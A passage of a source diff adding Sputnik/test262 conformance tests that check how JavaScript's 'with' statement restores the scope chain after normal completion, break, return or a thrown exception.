+if(p1 !== 1){
+ $ERROR('#2: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if(myObj.p1 !== "x1"){
+ $ERROR('#3: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.10_T3.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.10_T3.js
new file mode 100644
index 000000000..32c27cce4
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.10_T3.js
@@ -0,0 +1,57 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.10_T3.js
+ * @description Using iteration statement within "with" statement, leading completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+try {
+ with(myObj){
+ do{
+ throw value;
+ p1 = 'x1';
+ } while(false);
+ }
+} catch(e){
+ result = p1;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(result !== 1){
+ $ERROR('#1: result === 1. Actual: result ==='+ result );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(p1 !== 1){
+ $ERROR('#2: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if(myObj.p1 !== "a"){
+ $ERROR('#3: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.10_T4.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.10_T4.js
new file mode 100644
index 000000000..5f55777e2
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.10_T4.js
@@ -0,0 +1,47 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.10_T4.js
+ * @description Using iteration statement within "with" statement, leading completion be break
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+with(myObj){
+ do{
+ p1 = 'x1';
+ break;
+ } while(false);
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(p1 !== 1){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(myObj.p1 !== "x1"){
+ $ERROR('#2: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.10_T5.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.10_T5.js
new file mode 100644
index 000000000..b26cd9d43
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.10_T5.js
@@ -0,0 +1,45 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.10_T5.js
+ * @description Using iteration statement within "with" statement, leading completion be break
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+with(myObj){
+ do{
+ break;
+ p1 = 'x1';
+ } while(false);
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(p1 !== 1){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(myObj.p1 !== "a"){
+ $ERROR('#2: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.11_T1.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.11_T1.js
new file mode 100644
index 000000000..8d15c1486
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.11_T1.js
@@ -0,0 +1,35 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.11_T1.js
+ * @description Calling a function within "with" statement declared without the statement, leading to normal completion
+ * @noStrict
+ */
+
+this.p1 = 1;
+var result = "result";
+var myObj = {p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+var f = function(){
+ p1 = 'x1';
+}
+
+with(myObj){
+ f();
+}
+
+if(!(p1 === "x1")){
+ $ERROR('#1: p1 === "x1". Actual: p1 ==='+ p1 );
+}
+
+if(!(myObj.p1 === "a")){
+ $ERROR('#2: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.11_T2.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.11_T2.js
new file mode 100644
index 000000000..81cdcc6af
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.11_T2.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.11_T2.js
+ * @description Calling a function within "with" statement declared without the statement, leading to normal completion by "return"
+ * @noStrict
+ */
+
+this.p1 = 1;
+var result = "result";
+var value = "value";
+var myObj = {p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+var f = function(){
+ p1 = 'x1';
+ return value;
+}
+
+with(myObj){
+ result = f();
+}
+
+if(!(p1 === "x1")){
+ $ERROR('#1: p1 === "x1". Actual: p1 ==='+ p1 );
+}
+
+if(!(myObj.p1 === "a")){
+ $ERROR('#2: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(result === "value")){
+ $ERROR('#3: result === "value". Actual: result ==='+ result );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.11_T3.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.11_T3.js
new file mode 100644
index 000000000..35e24fee0
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.11_T3.js
@@ -0,0 +1,42 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.11_T3.js
+ * @description Calling a function within "with" statement declared without the statement, leading to normal completion by "return"
+ * @noStrict
+ */
+
+this.p1 = 1;
+var result = "result";
+var value = "value";
+var myObj = {p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+var f = function(){
+ return value;
+ p1 = 'x1';
+}
+
+with(myObj){
+ result = f();
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(myObj.p1 === "a")){
+ $ERROR('#2: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(result === "value")){
+ $ERROR('#3: result === "value". Actual: result ==='+ result );
+}
+
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.11_T4.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.11_T4.js
new file mode 100644
index 000000000..7056d6181
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.11_T4.js
@@ -0,0 +1,47 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.11_T4.js
+ * @description Calling a function within "with" statement declared without the statement, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+var result = "result";
+var value = "value";
+var myObj = {p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+try {
+ var f = function(){
+ p1 = 'x1';
+ throw value;
+ }
+
+ with(myObj){
+ f();
+ }
+} catch(e){
+ result = e;
+}
+
+if(!(p1 === "x1")){
+ $ERROR('#1: p1 === "x1". Actual: p1 ==='+ p1 );
+}
+
+if(!(myObj.p1 === "a")){
+ $ERROR('#2: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(result === "value")){
+ $ERROR('#3: result === "value". Actual: result ==='+ result );
+}
+
+
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.11_T5.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.11_T5.js
new file mode 100644
index 000000000..ebce27c9f
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.11_T5.js
@@ -0,0 +1,45 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.11_T5.js
+ * @description Calling a function within "with" statement declared without the statement, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+var result = "result";
+var value = "value";
+var myObj = {p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+try {
+ var f = function(){
+ throw value;
+ p1 = 'x1';
+ }
+ with(myObj){
+ f();
+ }
+} catch(e){
+ result = e;
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(myObj.p1 === "a")){
+ $ERROR('#2: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(result === "value")){
+ $ERROR('#3: result === "value". Actual: result ==='+ result );
+}
+
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.12_T1.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.12_T1.js
new file mode 100644
index 000000000..1ec9f7607
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.12_T1.js
@@ -0,0 +1,35 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.12_T1.js
+ * @description Calling a function without "with" statement declared within the statement, leading to normal completion
+ * @noStrict
+ */
+
+this.p1 = 1;
+var result = "result";
+var myObj = {p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+with(myObj){
+ var f = function(){
+ p1 = 'x1';
+ }
+}
+
+f();
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(myObj.p1 === "x1")){
+ $ERROR('#2: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.12_T2.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.12_T2.js
new file mode 100644
index 000000000..171ef5808
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.12_T2.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.12_T2.js
+ * @description Calling a function without "with" statement declared within the statement, leading to normal completion by "return"
+ * @noStrict
+ */
+
+this.p1 = 1;
+var result = "result";
+var value = "value";
+var myObj = {p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+with(myObj){
+ var f = function(){
+ p1 = 'x1'
+ return value;
+ }
+}
+
+result = f();
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(myObj.p1 === "x1")){
+ $ERROR('#2: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(result === "myObj_value")){
+ $ERROR('#3: result === "myObj_value". Actual: result ==='+ result );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.12_T3.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.12_T3.js
new file mode 100644
index 000000000..3cea6bc58
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.12_T3.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.12_T3.js
+ * @description Calling a function without "with" statement declared within the statement, leading to normal completion by "return"
+ * @noStrict
+ */
+
+this.p1 = 1;
+var result = "result";
+var value = "value";
+var myObj = {p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+with(myObj){
+ var f = function(){
+ return value;
+ p1 = 'x1';
+ }
+}
+result = f();
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(myObj.p1 === "a")){
+ $ERROR('#2: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(result === "myObj_value")){
+ $ERROR('#3: result === "myObj_value". Actual: result ==='+ result );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.12_T4.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.12_T4.js
new file mode 100644
index 000000000..1049d25fe
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.12_T4.js
@@ -0,0 +1,45 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.12_T4.js
+ * @description Calling a function without "with" statement declared within the statement, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+var result = "result";
+var value = "value";
+var myObj = {p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+try {
+ with(myObj){
+ var f = function(){
+ p1 = 'x1';
+ throw value;
+ }
+ }
+ f();
+} catch(e){
+ result = e;
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(myObj.p1 === "x1")){
+ $ERROR('#2: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(result === "myObj_value")){
+ $ERROR('#3: result === "myObj_value". Actual: result ==='+ result );
+}
+
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.12_T5.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.12_T5.js
new file mode 100644
index 000000000..9d3c9fed9
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.12_T5.js
@@ -0,0 +1,44 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.12_T5.js
+ * @description Calling a function without "with" statement declared within the statement, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+var result = "result";
+var value = "value";
+var myObj = {p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+try {
+ with(myObj){
+ var f = function(){
+ throw value;
+ p1 = 'x1';
+ }
+ }
+ f();
+} catch(e){
+ result = e;
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(myObj.p1 === "a")){
+ $ERROR('#2: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(result === "myObj_value")){
+ $ERROR('#3: result === "myObj_value". Actual: result ==='+ result );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.1_T1.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.1_T1.js
new file mode 100644
index 000000000..58ee15b9c
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.1_T1.js
@@ -0,0 +1,45 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.1_T1.js
+ * @description Using "with" statement within global context - normal completion
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+
+with(myObj){
+ p1 = 'x1';
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(p1 !== 1){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(myObj.p1 !== "x1"){
+ $ERROR('#2: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.1_T2.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.1_T2.js
new file mode 100644
index 000000000..12b72b2c2
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.1_T2.js
@@ -0,0 +1,59 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.1_T2.js
+ * @description Using "with" statement within global context, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+try {
+
+ with(myObj){
+
+ p1 = 'x1'
+ throw value;
+
+ }
+} catch(e){
+ result = p1;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(result !== 1){
+ $ERROR('#1: result === 1. Actual: result ==='+ result );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(p1 !== 1){
+ $ERROR('#2: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (myObj.p1 !== "x1") {
+ $ERROR('#3: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.1_T3.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.1_T3.js
new file mode 100644
index 000000000..f78052019
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.1_T3.js
@@ -0,0 +1,58 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.1_T3.js
+ * @description Using "with" statement within global context, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+var result = "result";
+var myObj = {p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+try {
+
+ with(myObj){
+
+ throw value;
+ p1 = 'x1'
+ }
+} catch(e){
+ result = p1;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(!(result === 1)){
+ $ERROR('#1: result === 1. Actual: result ==='+ result );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(!(p1 === 1)){
+ $ERROR('#2: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if(!(myObj.p1 === "a")){
+ $ERROR('#3: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
+
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.2_T1.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.2_T1.js
new file mode 100644
index 000000000..0d3e11beb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.2_T1.js
@@ -0,0 +1,46 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.2_T1.js
+ * @description Declaring "with" statement within a function body, leading to normal completion
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+var f = function(){
+ with(myObj){
+ p1 = 'x1';
+ }
+}
+
+f();
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(p1 !== 1){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(myObj.p1 !== "x1"){
+ $ERROR('#2: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.2_T2.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.2_T2.js
new file mode 100644
index 000000000..2ef4889d4
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.2_T2.js
@@ -0,0 +1,49 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.2_T2.js
+ * @description Declaring "with" statement within a function body, leading to normal completion by "return"
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+var f = function(){
+ with(myObj){
+ p1 = 'x1';
+ return value;
+ }
+};
+
+f();
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(p1 !== 1){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(myObj.p1 !== "x1"){
+ $ERROR('#1: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.2_T3.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.2_T3.js
new file mode 100644
index 000000000..8f46552e7
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.2_T3.js
@@ -0,0 +1,47 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.2_T3.js
+ * @description Declaring "with" statement within a function body, leading to normal completion by "return"
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+var f = function(){
+ with(myObj){
+ return value;
+ p1 = 'x1';
+ }
+};
+
+f();
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(p1 !== 1){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(myObj.p1 !== "a"){
+ $ERROR('#2: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.2_T4.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.2_T4.js
new file mode 100644
index 000000000..3c5598088
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.2_T4.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.2_T4.js
+ * @description Declaring "with" statement within a function body, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+try {
+ var f = function(){
+ with(myObj){
+ p1 = 'x1';
+ throw value;
+ }
+ };
+
+ f();
+} catch(e){
+ result = p1;
+}
+
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(result !== 1){
+ $ERROR('#1: result === 1. Actual: result ==='+ result );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(p1 !== 1){
+ $ERROR('#2: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if(myObj.p1 !== "x1"){
+ $ERROR('#3: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.2_T5.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.2_T5.js
new file mode 100644
index 000000000..61d86905a
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.2_T5.js
@@ -0,0 +1,63 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.2_T5.js
+ * @description Declaring "with" statement within a function body, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+};
+
+try {
+ var f = function(){
+ with(myObj){
+ throw value;
+ p1 = 'x1';
+ }
+ };
+ f();
+} catch(e){
+ result = p1;
+}
+
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(result !== 1){
+ $ERROR('#1: result === 1. Actual: result ==='+ result );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(p1 !== 1){
+ $ERROR('#2: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if(myObj.p1 !== "a"){
+ $ERROR('#3: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
+
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.3_T1.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.3_T1.js
new file mode 100644
index 000000000..27a310837
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.3_T1.js
@@ -0,0 +1,48 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
